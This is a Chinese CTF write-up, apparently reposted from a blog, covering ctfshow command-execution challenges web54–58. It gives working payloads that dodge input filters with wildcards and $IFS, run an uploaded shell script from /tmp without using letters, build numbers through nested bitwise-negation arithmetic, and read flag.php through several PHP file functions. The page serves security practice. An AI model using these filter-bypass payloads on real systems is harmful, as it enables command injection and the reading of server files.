当前位置: 首页 > article >正文

ctfshow web入门 命令执行web54-58

1.web54

在这里插入图片描述
正则加入了.*尽可能多匹配,flag绕过方式就不可以了,但是可以用?代替,nl也被匹配了

比如说cat,.*当出现cat这个整体时才会进行匹配,会尽可能匹配较多字符,ca,c之类的字符不会进行匹配,tac为什么不能用t??,是因为还有一个跟它一样长度的命令top
payload:

c=/bin/c??${IFS}????????
c=/bin/c??$IFS????????

2.web55

在这里插入图片描述
这题过滤了字母,可以通过上传一个文件(以sh调用命令),再以.去执行文件
上传后的文件在linux下面保存在/tmp/php???,后面是随机的大小写,最后一位是大写字母
.空格/或./(相对路径的写法)可以执行命令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://43546a81-d8c7-4242-a8ea-dde142ff1d80.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

访问并抓包,上传1.php
写入

#!/bin/sh
cat  /var/www/html/flag.php
因为上传的文件在tmp目录下

在这里插入图片描述

3.web56

在这里插入图片描述
这题又过滤了数字,和上题一样的做法

4.web57

在这里插入图片描述
这题告诉了flag在36.php中,只需要构造出3数字6即可

~代表取反
所有正整数的按位取反是其本身+1的相反数
所有负整数的按位取反是其本身+1的绝对值
0的按位取反是 -1
所以只要构造-37即可
linux中(())是整数扩展,这种扩展计算是整数型的计算,当有$才会显示数值
在这里插入图片描述

${} =“” 返回上一次命令 ( ( (( (({}))=0 ( (   ((~ (( ((${_}))))=-1

$(())=0 ( (   ((~ (( (())))=-1

payload:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

5.web58

在这里插入图片描述
这题变成了post类型的,这题被禁用了一些函数
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
payload:

c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=highlight_file("flag.php");
c=show_source("flag.php");
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}#一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}#一行一个一个字符取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

参考文章:
ctfshow命令执行
双括号的作用
无字母数字执行


http://www.kler.cn/a/7669.html

相关文章:

  • maven的optional选项说明以及具体应用
  • 二叉树遍历的非递归实现和复杂度分析
  • 决策树基本 CART Python手写实现
  • react 受控组件和非受控组件
  • 必修 -- 常用笔试题
  • web安全测试渗透案例知识点总结(上)——小白入狱
  • 【LeetCode】剑指 Offer 44. 数字序列中某一位的数字 p225 -- Java Version
  • 【图像分类】卷积神经网络之VGG网络模型结构详解
  • Atlassian Server用户新选择 | 迁移到数据中心版前,您需要做这些准备(2)
  • Java中String类型的创建关系、什么是常量池、以及StringBuilder/Buffer等
  • leetcode:验证回文串(详解)
  • 【音视频】zlmediakit总结二---webrtc编译
  • 【06】卷积
  • Spring Security 权限控制
  • mysql数据库简介
  • UE4 Sequence学习
  • 微软新Bing AI,带chat聊天写作等功能的搜索引擎简介
  • Nodejs+vue+elementui网上租车网站 vscode汽车租赁系统
  • 【MATLAB】一篇文章带你了解beatxbx工具箱使用
  • Zookeeper
  • Java多线程基础汇总(上)
  • 你写的C语言代码被翻译成可执行程序,需要这几步
  • 【ArcGIS Pro二次开发】(12):txt文件和Excel文件的读写
  • Java稀疏数组的应用
  • BERT: Pre-training of Deep Bidirectional Transformers forLanguage Understanding
  • 单例模式何以保证线程安全